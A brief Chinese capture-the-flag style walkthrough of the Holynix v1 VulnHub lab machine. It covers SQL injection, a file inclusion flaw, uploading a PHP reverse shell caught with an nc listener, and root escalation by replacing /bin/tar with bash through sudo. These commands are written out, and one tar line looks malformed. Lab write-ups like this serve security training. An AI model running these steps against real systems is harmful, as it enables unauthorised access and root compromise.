holynix-v1靶机

信息收集：

靶机地址：https://www.vulnhub.com/entry/holynix-v1,20/

（1）修改mac地址为00:0C:29:BC:05:DE 在进行扫描发现ip

（2）目录扫描

（3）端口扫描

拿shell：

（1）登录界面发现sql注入

（2）扫描到账号密码

（3）登录一个账号，在Security这发现文件包含漏洞

（4）在kali里面生成payload

 locate php-reverse
 cp的时候不要换名字
 cp /usr/share/laudanum/php/php-reverse-shell.php  .\  
 vim php-reverse-shell.php
 tar cvf  php-reverse-shell.php 

（5）vim修改ip和端口

（6）文件上传

（7）拼接访问

http://192.168.254.156/~etenenbaum/

（8）监听nc -lvnp端口 反弹成功

提权：

（1）sudo -l

（2）提权

cd /tmp/
cp /bin/bash .
sudo chown root:root /tmp/bash
sudo mv /bin/tar /bin/tar.bak
sudo mv /tmp/bash /bin/tar
sudo /bin/tar
id
提权成功